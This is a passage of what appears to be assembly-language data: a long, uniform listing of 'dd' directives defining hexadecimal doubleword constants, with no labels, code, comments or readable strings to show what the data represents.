9580B500h, 759E98EDh, 279317C9h, 71788373h, 0D3DD8813h dd 8B8860A2h, 18B7A5h, 0C082144Bh, 0A340B360h, 0AF50D2BDh dd 100F87Ah, 6FA3C8BCh, 0FC01F938h, 8840CB61h, 0D17A555Fh dd 21D30994h, 0F4C26F08h, 8B04027Dh, 0F5704853h, 2672554h dd 0FA518876h, 0A8941314h, 2109D2E4h, 514C76C9h, 28BA14F9h dd 1F9D9728h, 810F1178h, 0DE835013h, 0DB3BC7F9h, 0A07D80C0h dd 169C7EF3h, 21232B8Fh, 1DBC20h, 9396B9h, 987F6F6Bh, 5872DA1Ah dd 7CFACCA8h, 0A3C05E00h, 0BA14D3BDh, 0D92102ECh, 66E4DC2h dd 49DA8E5Fh, 0DC545EA6h, 0A2D5A003h, 832CDA48h, 5A4B80CDh dd 0C1DB2D58h, 194420D8h, 5E40B87Bh, 2EF8E109h, 959010F0h dd 0E4F8807Bh, 0A7FA17DDh, 4B54F853h, 0CC387CDDh, 0B8C0EACh dd 0A58D820Ah, 0F4B51863h, 3B00B344h, 0C211A06Fh, 0FECC3010h dd 45EB3B60h, 4C74D5A7h, 9705C49h, 0C8407213h, 0A48819E3h dd 8BBB07A1h, 893C651Eh, 0DC08DCh, 656DA721h, 9062362h dd 0AAA8456Fh dd 0A4103CF0h, 441EC904h, 0B8B4AD32h, 85B50484h, 0E89FED30h dd 80652E48h, 0C23C7627h, 486937A7h, 64523A22h, 16BC50EDh dd 0E00B68DEh, 3F78A5CCh, 5BE0C8h, 523CF785h, 0FFD8511Ah dd 6B91E401h, 0B91F3279h, 126EB2D8h, 0EDDD6392h, 8C03A86Ch dd 0F257B50Eh, 0F99D818Ch, 6193E14Ah, 1016BE82h, 507ABEh dd 37229F4Eh, 0B3978F5h, 0D3BF92D7h, 0CD5F6862h, 8BDC1E8h dd 2C7C4101h, 4C7A6B0Ah, 93E1A00Eh, 23183A72h, 28070235h dd 0CCE1C95Fh, 6CB72B26h, 0A8FCBD5Ah, 4E601B7h, 45961C34h dd 0AC046E3Dh, 20C15AC3h, 9055293h, 0A437C649h, 0DB89B581h dd 453B4259h, 410D3C28h, 54B98ED8h, 412AC43Bh, 79DAC22Dh dd 0C1AC0414h, 43B080F6h, 0B3D0CD0h, 7DF700A8h, 0B41B054Eh dd 0D3A713FCh, 4EA0A728h, 7480B49Bh, 0EB036B2Fh, 0D1767F12h dd 0FF57FD00h, 0C04E3263h, 0C8BEC78Ah, 0A59D9A3Ah, 54BC14C0h dd 8A06B89h, 33F0E636h, 0C0244DB5h, 97B769FEh, 2528539Fh dd 5D41474h, 1F895D01h, 2021BA58h, 0D07BBFFCh, 0C0ACDC88h dd 0D8B4134Eh, 0D4C29FA8h, 3E4CB7D5h, 0F78D04F0h, 0BF08F5E0h dd 6AAEE474h, 0BFAB0070h, 260BD017h, 839FD7h, 7CAA90CBh dd 0D42790DEh, 0FA02DCC8h, 0ED0C3548h, 4490570Fh, 5B3BB825h dd 0B9BE096Bh, 5A4C7661h, 5C40B8F6h, 7954EAAh, 8388E26Ah dd 0BB89E5EDh, 247C2872h, 34C1BB19h, 0C83C0F83h, 718C36F8h dd 0B4FF098Ah, 1DDF1A7Ch, 0CDC72D8h, 0F30465Eh, 1D22F7E7h dd 133B6B82h, 0D4E877DEh, 0E49D963Dh, 0D8EE10BCh, 0C2245DFAh dd 0D6095B47h, 0F467614h, 86D2F200h, 1929551h, 940C597h dd 0BDFF1AB7h, 611D004Ch, 65D75843h, 0E259A409h, 58845FADh dd 0F12A001Bh, 4AF45012h, 20C48D63h, 4F7A5ACCh, 0A710F99Dh dd 7B61E076h, 0D82EE52Fh, 0A0448D08h, 0AC8C24DCh, 0C45EA5F8h dd 53836247h, 2F8DD082h, 0F2C3273Fh, 1A2C3850h, 0B30BC878h dd 9B8AB3Ah, 8CE4BCh, 7D13F98Eh, 6003AE18h, 0C68BC00h dd 0D46742CBh, 285C092Eh, 74699616h, 20B03E08h, 60BE09D0h dd 1CD140FBh, 3CB55F69h, 0A49C5800h, 4A450A65h, 9644EDC4h dd 61B8B8F9h, 14BFD51Fh, 177ACBC0h, 5865A774h, 8F0B74E6h dd 0E0763FEBh, 0B42B9E7h, 0ECCE77E1h, 919015B5h, 89BA834Eh dd 2247D03Fh, 81F700BFh, 0D0424A07h, 5B2D4423h, 41246F0Ah dd 0E84A33A6h, 309B7E0h, 0F768436Ch, 2BEFA420h, 3CFD0CF5h dd 0BCA0D10Ch, 58DB033Dh, 363AE01Fh, 0D08464A2h, 0F004FF1Dh dd 0BE1319FBh, 6290400Eh, 0D52AD740h, 0C900F8B7h, 0DFBF0B31h dd 0C48A2D6Dh, 56F36C90h, 0E5C6D700h, 0A07BDCBCh, 6D1A38BDh dd 0EF9A5102h, 0C6774059h, 0C1AF27B4h, 18C53C4Eh, 988837D7h dd 3B1941D8h, 72D1CE3h, 402574DAh, 64E0ED43h, 0EF8D6132h dd 0BE1A62DCh, 0E52867A8h, 24F0EC68h, 8900CC7Ah, 422EEB40h dd 0A3604BAFh, 64F697F0h, 0B2238A0h, 6BA7FA09h, 20147A2Bh dd 924B3604h, 9C1088ECh, 0C11CCC0Ah, 0DA413840h, 0C9489109h dd 35B5687Ah, 778D80B0h, 0F7604149h, 0A2147E4Ch, 0F090FFE3h dd 7006CE1h, 0EB2F53C1h, 28EB12Bh, 98EAC639h, 24C1F87Eh dd 6C132A34h, 980A0ACh, 809C8255h, 0D998B31Fh, 0AC9D8C00h dd 0B3FC37Eh, 1B6E88C1h, 0F7C1C476h, 2B090E04h, 20AD28D5h dd 0E02B0B8h, 0B7804099h, 94DD09A6h, 59144340h, 630ACC8h dd 3F98BEB2h, 54B96048h, 0E760C983h, 4F181644h, 2947AAAh dd 725854A0h, 0B398E031h, 10A9813Fh, 95F4B722h, 1E3E085Ah dd 932604B4h, 94BCC8DFh, 0FC644117h, 0D9610FF8h, 97980556h dd 1ECE6C97h, 12EE5712h, 4AC0AAECh, 65FDBD89h, 0EE900C0Ch dd 7506ECCh, 0D7BF6652h, 6031C093h, 587C5A61h, 2608DEEh dd 90DF8B27h, 59BD2523h, 0E88CA3FFh, 87210006h, 7B132679h dd 5F7FFC3Eh, 6BAF3EE1h, 0A1840077h, 0F15927D4h, 83A300B6h dd 0A6AB858Dh, 0AAC705E6h, 0C0B5F896h, 457CC1FEh, 0FF50021Ah dd 0F80107E4h, 0D7B3481Bh, 8120FA8Ah, 427A0099h, 0DEC4500Bh dd 151F8FC8h, 2492892Fh, 0C0D89AABh, 18272DCCh, 358E124Ah dd 85DBFF6Ah, 6C87EC86h, 215D8514h, 0CCAA93ADh, 32B8BD1Bh dd 60887495h, 5EC271AFh, 2BFFE87Eh, 953895E9h, 317A17A0h dd 0C30F931h, 0A92ED1FFh, 0C480ACE9h, 0F0D7D54h, 3982181h dd 0EB3E79DEh, 4016222h, 35FA5737h, 51A04EAh, 2902431Fh dd 81CF8E9Dh, 0A0100CDAh, 4100B011h, 77DF2173h, 55F3D63Dh dd 8202D282h, 8E88A869h, 0CC7F620h, 0EA62FA8Bh, 2B71550Fh dd 0BA6B542h, 31EB7FDh, 1085AD40h, 4FDA13B0h, 2B1F7E02h dd 0A0A41BDh, 8E9E054Ch, 7F8EEFE5h, 19C01B88h, 1E842992h dd 1F4D90Eh, 5690EDB7h, 25F27E60h, 0E4761103h, 0E08FAD38h dd 5684B1BEh, 6A98A500h, 8F88AF31h, 615F09D5h, 0E70A505Bh dd 0C2B7C5DCh, 0CF8431EDh, 20EF570Eh, 366DD22Ch, 3D09E07Dh dd 49AE827h, 0A6AF90FDh, 71FAB01Ah, 64EC0127h, 8DD3329Ch dd 0EDD121D9h, 98EE0504h, 0EAA05276h, 5F812B49h, 27EB67Bh dd 0EE37F5BFh, 4A7B554Ch, 0D4A2F42Fh, 0DBA1B500h, 75D07939h dd 0FF6A036Fh, 9AEF8153h, 5F153CD0h, 0D125B5F2h, 8B75D1Ch dd 0CA4FE680h, 1DA3CF9h, 0D3C78132h, 21249D79h, 18D158h dd 0C70129E9h, 0B0F536h, 0D6CEB81h, 0E6457C00h, 759D8B70h dd 0E42CC507h, 3DD63071h, 0B4026085h, 0EDF65A21h, 91EBFFC3h dd 66605386h, 0BB9F7FD4h, 0A8AE258h, 0C8B60F1Ch, 800028C3h dd 25B589C3h, 1877160Dh, 9BB6652h, 0C18B14EAh, 0BD0CE857h dd 0E7260595h, 0FF8A5701h, 88EE58C5h, 0B200C376h, 9E2150EEh dd 27E31E24h, 0CAD5B740h, 43C3FFC4h, 0C0C5D23Fh, 0E1C84C2Bh dd 3840A1Fh, 19E9F8D1h, 0C0DF4F48h, 276170E2h, 0CA9C015Ch dd 9ED13D28h, 8097D454h, 0A9C94200h, 858B4572h, 165ABF95h dd 100DBD10h, 72F0E4Ch, 0F0402A7Ch, 8579Fh, 16967E34h dd 0A98DA3E8h, 366E1E07h, 0AB156A63h, 1B59EC1h, 540C2147h dd 3B0340F9h, 0B6D051h, 0D195297Eh, 3F11CA99h, 0C20BFE4Ah dd 8D18F5D8h, 0F8BD7BB7h, 925F9FFCh, 0A8725FB3h, 40ADDD03h dd 0B01DD011h, 141B5172h, 21A58373h, 10FCFE13h, 0AA4877EDh dd 7F2CD91Bh, 13C05884h, 0BAE64A1Dh, 0AE00DF6Eh, 5B13068Dh dd 0DE29FDA2h, 7C87CBC7h, 0E4F004ABh, 3B39AA88h, 0B9007D0Ah dd 7A8B22Dh, 0F028F4D8h, 7124F8B5h, 6042A514h, 0B05A5F33h dd 809E5C95h, 0F1469264h, 0DB00AC85h, 49EBC85Ah, 4E3050D7h dd 0E433BF44h, 0F9561052h, 4A5F3E21h, 109648FFh, 0C4B8B380h dd 31A406h, 23336241h, 0C31A7D78h, 5D9F5325h, 99671623h dd 0A149DDB0h, 9ECDA704h, 0A3AF5F78h, 51B5088Fh, 4ADD2026h dd 276BFAFCh, 0B37EEC41h, 8D290A39h, 0D6AFDCF9h, 9D03602Ah dd 18C209E1h, 0FDC02BFCh, 0DC0A76Dh, 95BD31A0h, 2B093674h dd 46D57D2h, 384C4160h, 5E922C5h, 7E9BB804h, 34D7CDB3h dd 33AD6C70h, 5ED160C2h, 4E983D0h, 52F4753Ch, 26F030B6h dd 0F6610B39h, 0BB842444h, 0D3D08ACh, 9AAF5B12h, 6423C0D5h dd 76986E5h, 0B4969CE8h, 5C90594Fh, 66003BC3h, 44748D84h dd 1E38060h, 0F2B70F94h, 3B0D5F61h, 0E95F37E8h, 3897B87Dh dd 63CC9964h, 49F19D12h, 0E677606Eh, 4065FA2Dh, 8B5C6104h dd 0E60B205Ah, 0F7FD55BDh, 6F008063h, 0E155AE56h, 0E004B65Ch dd 27E4738Eh, 76125C1h dd 0BC2DA92Bh, 3F1D016Ah, 0DBBB0791h, 0F9DF4057h, 5BFEF5C5h dd 135A8C4h, 0C28B5003h, 0C1031890h, 553A08DEh, 581996F0h dd 0E800C26Fh, 0F44C5D76h, 5B5CC714h, 2119C070h, 521C85h dd 57458DE7h, 0A3A12D6Eh, 4641407h, 0F5927A9h, 250FE89Dh dd 0DBB7D7h, 9D29BDBEh, 0DD130CCDh, 0D8076653h, 79C4835Fh dd 84094897h, 0B7EBBFD2h, 9FDDA06Eh, 715371BAh, 0AAB84B5Fh dd 1823743Eh, 78A87D01h, 60207E88h, 0EA84A3DAh, 6055EF4Ch dd 64C247B3h, 412C84F6h, 30609556h, 3A681D2h, 10C2FB99h dd 91A0822Ah, 6305C7ACh, 46D29FC5h, 75E197C2h, 3E59657Bh dd 4CBB8D0h, 0F295E1ACh, 0F9F4AB48h, 3C8401E7h, 0EFB1AB37h dd 55CC41E1h, 70AD0C1Bh, 0EB3EE104h, 1C7AE56Bh, 672CE980h dd 0B7909077h, 4035A44Bh, 51899301h, 0C0FBBB42h, 0A4FABF10h dd 4F037E15h, 763EAA86h, 803B1B23h, 0A90852AFh, 0B0BCFB43h dd 107120F3h, 1295604Ch, 0CDAB19B9h, 94B67F7Bh, 35DFEFA0h dd 17F3EB5Ch, 8FB69E5h, 80031EB3h, 202304E1h, 0A2821D8h dd 192082C9h, 1186CE01h, 13BA5830h, 0DBAA241Dh, 9E5C0D2h dd 5858A120h, 0D300254Fh, 0A9B7B56Eh, 2AE68533h, 0D9D7A9Ch dd 13E82220h, 54B58400h, 75CBBF19h, 46490768h, 607FAFBEh dd 0A4C69E73h, 905FF117h, 0F36120EEh, 0E6008870h, 0D2B3D5C9h dd 294F932h, 0A780A2C4h, 41468222h, 26CBBA00h, 0A3F827CDh dd 505B191Dh, 22525056h, 23F66B04h, 0D80668F2h, 0BB2AD2h dd 4009C0B0h, 0F9243481h, 4ACD0C3Eh, 1CA66BFEh, 1C059AFBh dd 9102921Fh, 0E060A8E7h, 82083988h, 7B93B60h, 0F4E60E82h dd 0B99E7CECh, 6A7800DCh, 0B2F5DA11h, 45FAC40h, 5E8052BCh dd 7D99336h, 0ADB63300h, 0B554412Bh, 2984C4A4h, 62E90417h dd 0F780A890h, 35CD948Ch, 0C39D9B95h, 3429F8AAh, 0C16206DAh dd 30EBD00h, 591883C7h, 0CB2C462Fh, 99B50DB1h, 7DE92F75h dd 377E8FACh, 0A05F5200h, 0B5316069h, 4F7692D1h, 8E31AB8Bh dd 0CE28F985h, 126BFE4Ah, 9D3A4300h, 0FD8A2140h, 10068925h dd 0ECB3608Dh, 17300019h, 0FAB2D70Bh, 4339089Ch, 0A5C14888h dd 9E94DAFEh, 2028EC9h, 4401751Ch, 16F53122h, 2004460Dh dd 0E688085Bh, 0F28D3DC2h, 40940A7Fh, 28A6DE8Bh, 60F59C75h dd 8A59509h, 91B5FF80h, 35572501h, 230A802Eh, 0F9E7BF66h dd 8722ADB8h, 28639004h, 5FECFFFh, 61EE83C6h, 4E0F1FE8h dd 88131F03h, 2507E263h, 0E81835FAh, 0A3605053h, 0D11D000Ch dd 51467290h, 7004A987h, 66C5D82Eh, 0F80061A2h, 69811F61h dd 8F04EA41h, 595E2A27h, 86B90386h, 0A94600DDh, 326AFBC1h dd 0D414A3E1h, 0A8A8629h, 0D78B9DF2h, 24BB520Ch, 5B2313C3h dd 0C006275Fh, 14E2BA60h, 5108951Fh, 5897619Ch, 5A021B6Fh dd 0EA394AB5h, 28DDD441h, 168D2644h, 4089186Ch, 0BF05500Ah dd 20344626h, 0B67F8AB1h, 0FCF5E090h, 25969048h, 98F50E95h dd 5AE3DCh, 9CB096C0h, 86B150DEh, 0CD887D17h, 5BDFC404h dd 0AD2A71D9h, 1280ACDCh, 133F6AA6h, 246113EDh, 72A5AA83h dd 5862E8h, 16EEE0D6h, 0CB0F7570h, 0B2892500h, 0A72CEA8Ch dd 5B560B61h, 0F51B85C7h, 810F3F09h, 28ECDD16h, 3BBEBA00h dd 60D564D3h, 19A80024h, 0A37D43ABh, 0AD5C9490h, 59BC421Bh dd 772D2565h, 0B300D3BDh, 235AFEB2h, 17955D9Dh, 531EE914h dd 508CBF3Fh, 44A40C30h, 0C11E01E6h, 0EB410E8h, 0F14CD683h dd 0DB2D5803h, 36EBE70Dh, 6404DE36h, 3316EE39h, 2829501Bh dd 58182140h, 570113CDh, 2C601B09h, 251690C0h, 673D16C1h dd 60C8A20Eh, 7EC2D139h, 0C15E9701h, 8550D6ACh, 7E878AB7h dd 0F026084Dh, 0A266D021h, 0DC77942Bh, 0B39DFF00h, 0A0ABC89Ah dd 0A3B726C5h, 4BC33D89h, 1A33FFEh, 1A2E0294h, 62CCA96h dd 0EF131A5Eh, 963AB58h, 4A91B50Dh, 786EBB6Ch, 0C15CDA00h dd 6C7EF30h, 7DE50170h, 0ED6BCE9h, 403CDF60h, 0AAD318A7h dd 155108C0h, 33BEB720h, 0D950FB42h, 826A0E31h, 0DD6BAA20h dd 0A9006FE0h, 83AE4A8h, 0B21CF201h, 0BD559942h, 86077600h dd 68FE37Bh, 3A40FA9Eh, 1CAA36Fh, 0BDB822F5h, 585B5D73h dd 449860CAh, 0CC20D75Ah, 18A97Fh, 0DDF9AD2Ch, 7801CEF6h dd 0D1174DB4h, 0AAE65C85h, 0DBBFD0E0h, 182BFD14h, 0A3AEA4D6h dd 6FAEF06Ah, 0BD2B1257h, 851090E1h, 29ED10DDh, 5BBC0Ah dd 0B24F5E13h, 55CCFA82h, 25BD2916h, 0C1C08A84h, 9D89A85Ah dd 37A51FD6h, 917D024Dh, 0C670DFB5h, 32E962A0h, 9599708Ah dd 19DE975Eh, 54C1DB09h, 8301C2E1h, 1C7104C2h, 0EF328F4h dd 57205089h, 2CA40892h, 7A895F16h, 4C8CBD2Fh, 0CE5B099Dh dd 644D77E5h, 3860A4C3h, 0DA095E5h, 39A16151h, 6BAE4A11h dd 9E9C28C3h, 40AEF94Bh, 0EBFDB117h, 3007B62Ch, 786264CAh dd 2BC98421h, 1FA98741h, 0B82A43Ch, 0C16A999Dh, 0A0C688B2h dd 34A9701h, 32169075h, 0ABBF342Ah, 2FB087E6h, 230855C0h dd 866D47Ah, 96041E79h, 0E4400CE8h, 3638C76Bh, 0E534C51Fh dd 333E4384h, 2E0FD7B2h, 4A809A59h, 5F0FD15Ch, 0C7C6505Ch dd 1DB0FA39h, 0A3B3D4h, 0B14738AEh, 99767F3h, 85899605h dd 7C640679h, 0B0ECE6BAh, 54FC06CCh, 3D40F3h, 353495DBh dd 5D2D5232h, 630AB17Fh, 0A38AB247h, 7EF4211Eh, 2DE067F6h dd 9C1722F1h, 77047ED0h, 3520C8Ah, 2E8BF65h, 157086DBh dd 38736158h, 1BE22189h, 0D4DF1D5Eh, 0B118D551h, 2E857C46h dd 0B60E096h, 0F955B6h, 2B351FF5h, 0C89915E9h, 3AC2604Ah dd 0D9595D31h, 0C8585A0Ah, 0F827F020h, 853796h, 0D6F07F87h dd 3139CD08h, 11AD985h, 0D19CF381h, 0DE593E9Ah, 411D2C30h dd 15B10101h, 0EB318104h, 122B1E54h, 59248819h, 0D4853C0Ah dd 41E92B6h, 824CD94h, 0DED1CA02h, 20CE1159h, 8D09090Ch dd 0D4901B81h, 81C01F35h, 4A0ABDB1h, 0C47C97C6h, 894A04DEh dd 0C10A9549h, 3CA19D2Eh, 0C7F806EAh, 8485F985h, 0D78101D3h dd 1569D024h, 0B1833060h, 0A7FA5F8Ah, 91FE2B00h, 423CC1B0h dd 20CD4A2Dh, 9B56027Dh, 13AE6C00h, 1E889823h, 106600BFh dd 150BED0Eh, 0E90E615Eh, 38FFF143h, 9E0AF562h, 14A0BBF1h dd 29C18B09h, 122ED285h, 4239B531h, 0ED04EB48h, 0E917B7C0h dd 0CBBF7E61h, 3CC8890Dh, 0D6FC00B8h, 0BF5B6793h, 8D000BCAh dd 0F5BB2001h, 4B352E9h, 27A3F1EAh, 0F0FD8742h, 54723EBCh dd 0A6E41500h, 6CCD3438h, 0FE0F00EBh, 0B37B3AF9h, 500039AEh dd 949DD316h, 8434B2h, 939CA067h, 1DDA8526h, 86689500h dd 0C7829DA5h, 7BB0004Ah, 2F7EAB20h, 690037A4h, 0DDDB1C6Dh dd 1D2074Eh, 0C60EB1D4h, 0D8FBBBC2h, 803F79C5h, 9044073Ah dd 6340F114h, 18C2A7h, 28D29594h, 0F3D40164h, 7E52172Eh dd 9B5E8101h, 2EF8F615h, 0F2E80056h, 984120AEh, 90EC8B12h dd 0FC182F01h, 0DB675F89h, 8059A0F3h, 0A92700FAh, 0C7863A04h dd 0E6184315h, 0AC2C2375h, 39A02D7h, 578CF1CAh, 6EB6EFA0h dd 0D8002369h, 0DBE11659h, 0F4B20B40h, 38B960D6h, 64AB9BCDh dd 5A13A937h, 8964520h, 0A3725CBFh, 0EB4CCF80h, 32C0B56Ah dd 0FFBCCBBh, 2266306Eh, 0CD585C9Eh, 55538200h, 3A0A4C36h dd 46080CCCh, 0A16970E1h, 719DCA00h, 659E67F0h, 0B3F500CDh dd 0D1064992h, 15ACFCBh, 0B48760AFh, 0F4004232h, 0EC1DB907h dd 166C2AADh, 0AB0BDC19h dd 78B6C90h, 1A5C3FE4h, 113AE78Ch, 659991C8h, 2CD515h dd 8BCA515Dh, 733D484Eh, 214404B2h, 0AB5B2B8Dh, 0E34FC680h dd 0D96801FAh, 1710AA59h, 0E83524AFh, 6725D00Ah, 0E700B504h dd 167533A4h, 602E1FAFh, 429BC005h, 0F0EF783Bh, 0B0194806h dd 77FE13BFh, 65700056h, 6ED1EA09h, 0DA012167h, 0C1483CBAh dd 0B488391Ch, 0C804DB3h, 0E1BB7A9Bh, 8D010A1Eh, 80634E3Ch dd 0E0C8535Fh, 77E68E66h, 8110683Eh, 0AA33E980h, 62E436A7h dd 599C30DFh, 4C3A832Ah, 0E0695EB5h, 60BB09F0h, 0B4FAE103h dd 0A9CA8C51h, 8F86A86h, 0A4C4981h, 9901E318h, 2CFE6EC7h dd 9803A97Ah, 0F663E653h, 32318856h, 20B91215h, 9FAD0005h dd 8A18C50Ch, 0F0733Dh, 0D2946487h, 4C9EE2h, 14C43202h dd 9A405682h, 42D91600h, 536DC09h, 7BAB018h, 0FAC39294h dd 3297F301h, 0F9B89BA3h, 961847D0h, 87C09577h, 53714C4Ah dd 0FA82B03h, 2612904Eh, 0A7009E5Ch, 4A5C442h, 8219C053h dd 21DF78B5h, 0BC3EA900h, 1B22BB4Bh, 991F00D8h, 0C65BCC7Dh dd 0EC1F9D1Eh, 2BC077A0h, 0B3A18394h, 11970740h, 7014418Ah dd 0DA4D4B8Ch, 56629B00h, 5BA21FA5h, 18C97412h, 70D7AAC5h dd 7F0077F1h, 0DAC0C633h, 608324A7h, 34031DD2h, 72005423h dd 37DE741Bh, 122EAB96h, 40D21D68h, 784CEE36h, 0CF00CD0Ah dd 168845C3h, 0F7273FE6h, 0B4AACB55h, 0A70047B6h, 932884F4h dd 5870AD3h, 33248504h, 0E2F80BF7h, 97EB6781h, 0FEAC4091h dd 4A909E81h, 0CB5DD300h, 0D47F48D6h, 2E6C006Dh, 5818C1A0h dd 0B5006ECFh, 9383F4CDh, 0DF2689CAh, 0B6E340BEh, 0ADEBEC57h dd 45245E00h, 0BD2A96D4h, 0C6E20007h, 0F972890Fh, 0D0E48B8Ch dd 3826B309h, 0EF7C90B1h, 743A01A3h, 636FA411h, 8EBCE925h dd 105547DEh, 0B8577B2Dh, 0E52A4DE1h, 1A832DCh, 0A3FA37EAh dd 81FE95C6h, 33B2F51Eh, 0BCF1AFA6h, 2A35D3D8h, 50822314h dd 13A89F2h, 0A7878A4Ah, 9E8607A0h, 8EC23F1Dh, 0E072FB02h dd 0B97431Ch, 8433C7D7h, 1B503F00h, 141C4B80h, 1A1FD9E7h dd 0FFA9B598h, 0EEEF31AEh, 0CC212E50h, 9E03CBCFh, 40E968EBh dd 0C6BD000Fh, 2D9DE069h, 460275DEh, 3244AD3Eh, 0EDC98409h dd 0C0CC6D82h, 3DB9A81h, 0E7F99220h, 11E0B8E6h, 3713D3F4h dd 7A078572h, 0BE10FABDh, 6DEE6Fh, 66C2A939h, 6BB4155Ch dd 0D42DD128h, 0ECD88E00h, 4E8F599Eh, 9CED1385h, 0BC6000AEh dd 0DFE5A43h, 0E4005E98h, 136A38A5h, 501DAh, 6619CD52h dd 1D9C08C1h, 70390426h, 1F50F980h, 26F7D113h, 217936h dd 8F6BB2F8h, 16028302h, 87C64689h, 6E876007h, 0A72CC255h dd 8840FFC8h, 2800D845h, 0AE6F3720h, 32491FBh, 8623A225h dd 2E248ED5h, 4D00880Ch, 0A365894h, 0D8C612BDh, 77772012h dd 0FF1E6F5Eh, 0AE40EC01h, 9A64F5F2h, 0BCEA07F3h, 403DA4C7h dd 63BA06F4h, 8A00BDF4h, 78830FCBh, 4E83F2Fh, 90FED33Ch dd 8DCB935Bh, 0F79340BCh, 0C4745B2h, 77F841C0h, 0D100AE1Dh dd 0C2046D08h, 0BFB64h, 0E7532365h, 9B2EB4F2h, 9321D80Bh dd 5C17AA4Ah, 0C0806C2Ch, 7281B28Bh, 25EB48F2h, 38002258h dd 25ACFFBDh, 974CF6B4h, 333B80ADh, 0EDFD43h, 0B2279363h dd 5E9BEEF4h, 23A88400h, 3989508Fh, 17E90C0h, 8180FD2Ah dd 0E45F1BDEh, 66C01379h, 766D3A8h, 6EF53AD6h, 3F444B4Ah dd 0D86B4557h, 0E6108956h, 5584C681h, 0EE2920BDh, 3487015Dh dd 3685C24h, 1407C27Bh, 83E31E9Ah, 181FB5EEh, 53002CDDh dd 0FB3907BBh, 45BA0028h, 136A421h, 81035BDAh, 3F514FE2h dd 0BEC2B07Dh, 6D63E11h, 0AB65EA00h, 8B545E0Eh, 0C48348C1h dd 81716804h, 0F9F14215h, 16BF5F60h, 0E458F17h, 0A74757Fh dd 5D22FF32h, 1AA5D1D5h, 79D53C8Bh, 0A0D04EE9h, 0C3F4E9h dd 26F2FFFBh, 0BB8AB806h, 4EBAE65Ah, 6B00B77Dh, 2338C65Dh dd 78B33F00h, 6715550Fh, 2B690034h, 935EA73h, 470303D3h dd 22BD8A3Eh, 595FA0B9h, 4D330FF7h, 0BA803470h, 777A2F5Bh dd 0C2A46707h, 6D2059C8h, 512C9h, 0DC540894h, 0A45D48F4h dd 0BF9E900h, 1FAD8227h, 0EB670129h, 2D93872Eh, 8BAC2F11h dd 48EF392h, 1FC19D8Bh, 7CC0FF12h, 2F6F781h, 0F49A998h dd 0F377FAB7h, 27F7800h, 3EEB700h, 0C88842B9h, 0F5532789h dd 2FBF3760h, 5D529918h, 0BE302D88h, 0BDFA868Eh, 952D95E6h dd 5B3B40E9h, 0E59D1631h, 1A8DAE1Fh, 0FC4DA86Ah, 0F1AD00F4h dd 3832ABA2h, 176253FBh, 312984h, 505B5790h, 0BEBF660Fh dd 8B4C1D1Eh, 1BFAB7FEh, 0E7FA4E8h, 0BE9A2216h, 124E14E3h dd 0ACF885EEh, 72A6D30Ah, 193EE9E0h, 5776F112h, 278843E0h dd 0C0905B75h, 9E0709CBh, 612C8C9Ch, 75D1FF72h, 2858D573h dd 2714B7FEh, 0ED255F69h, 0B3C5B8h, 26AFB9Eh, 515B6090h dd 0B62EED20h, 0CC7C0072h, 0C59408B7h, 5A00D5FAh, 50611DB5h dd 1A90DA8Bh, 33118C0Fh, 7F1E32D9h, 828E01C0h, 0B987C3Eh dd 5F74E780h, 1FA08C46h, 0D1831391h, 2C6E0DFBh, 0BE41044Fh dd 0CBB7202Bh, 0AE00E30Ch, 2E065E78h, 2D1CB016h, 36CE8DAFh dd 0F8D41ABEh, 51A92536h, 0F6078644h, 88DF4CEEh, 96929421h dd 0F21AA1F4h, 0E2620036h, 50902CA5h, 0C84A8B60h, 7861D382h dd 5B6C90EBh, 0C0159B2Bh, 0DABFA2BDh, 33C40753h, 8051675Dh dd 1B74C624h, 8940309Eh, 0D94FCBh, 0CAC265BBh, 9241F9Eh dd 0A48A4105h, 2AB9E185h, 499D2382h, 285BC2ABh, 9F23662Dh dd 5AE11A90h, 42B73600h, 66E4C4A6h, 0C720003Fh, 701B4057h dd 1A98FD8Ah, 8589FF0Bh, 0F14B556Dh, 76BA54E4h, 4C2D59BCh dd 0C8F14BF4h, 8C1CD351h, 0F900B0DDh, 0D1BF70E6h, 5A47ECDh dd 0D38071E4h, 33E7AD60h, 0BA5339D5h, 20996C8Ah, 5B5A0D19h dd 8D29EBC0h, 716BED95h, 0C4EF81E5h, 0C14F8B04h, 11130C8h dd 0FF4659Dh, 3047D850h, 0DF5ABFCFh, 88B2EBC7h, 44735608h dd 5B534502h, 205BE4ACh, 81D8EA8Bh, 2B276C71h, 215360C8h dd 0F1E88B24h, 617CB39Dh, 7B85D148h, 55D9315Ah, 4F0985F4h dd 3A81D914h, 27C8F0h, 0B192F1FDh, 0F6DE0A50h, 81E880B5h dd 3426C8C7h, 1612671Bh, 0BCBA4A6h, 25B58988h, 9AFF15A1h dd 7F157B8h, 44C4442Dh, 3C988921h, 0A5FAA38Bh, 33FE1583h dd 220D6DE9h, 555941E9h, 84BCA985h, 0BF242785h, 70F7EEE3h dd 0F93F79DEh, 9D8940C1h, 0FD2E3071h, 0B9B693F3h, 0B81B08E0h dd 570117F4h, 952E3D0h, 0AD7C6595h, 8C6B909h, 0E386EDFDh dd 0DFE8F65Bh, 0FD24D9ADh, 2039941Dh, 0F5F39A22h, 0A9A3646Bh dd 143A8F1h, 0CDC2A6E8h, 3AFC350Bh, 9D923A37h, 0A4C22B11h dd 782EF377h, 3702716Ah, 424733C6h, 81274060h, 0BA618017h dd 0DCED3AE1h, 0A80047E8h, 6093AFC2h, 48BCA5F2h, 412A3EB1h dd 2DAA9091h, 0AA679F85h, 0C0E44DA5h, 6C31E97Fh, 86C8FC4Ah dd 67D70026h, 0B2C23DCBh, 0D017D137h, 36563BB7h, 0EC508EA2h dd 9D0A4A51h, 2133C7h, 0A6190D2Ah, 1F4FE1h, 0E60716AFh dd 0D837C39Eh, 0CF44416h, 0F65360B3h, 911C3207h, 0C69A91A6h dd 3A2AC4F8h, 41CB1E5Ah, 4806BD3h, 5425BC19h, 0CAE351C0h dd 0EB0AC21Ch, 1D67104h, 0BD2E5B51h, 29EE8F6h, 0CD4D867h dd 4C46E03Ah, 0FFB70F16h, 0F53CE1A3h, 0E12B5EBDh, 4F8E78F0h dd 0C4D0E212h, 132E6AF1h, 899DF200h, 752B62A9h, 0BA58BD7Bh dd 643001B0h, 7EBE8750h dd 0B6206EF8h, 7BB9A71Dh, 258281Eh, 0F4F350AAh, 0AB14B55Fh dd 0CD87A5FDh, 4349C080h, 0F92D63DBh, 11C4457Bh, 0BB66001Dh dd 9606575h, 0B53D708Dh, 57519F10h, 5B62B894h, 3180D45Fh dd 6A171D16h, 2B6D8032h, 5C70C673h, 0B5293D4Eh, 9D4533ADh dd 961FF5A5h, 70509782h, 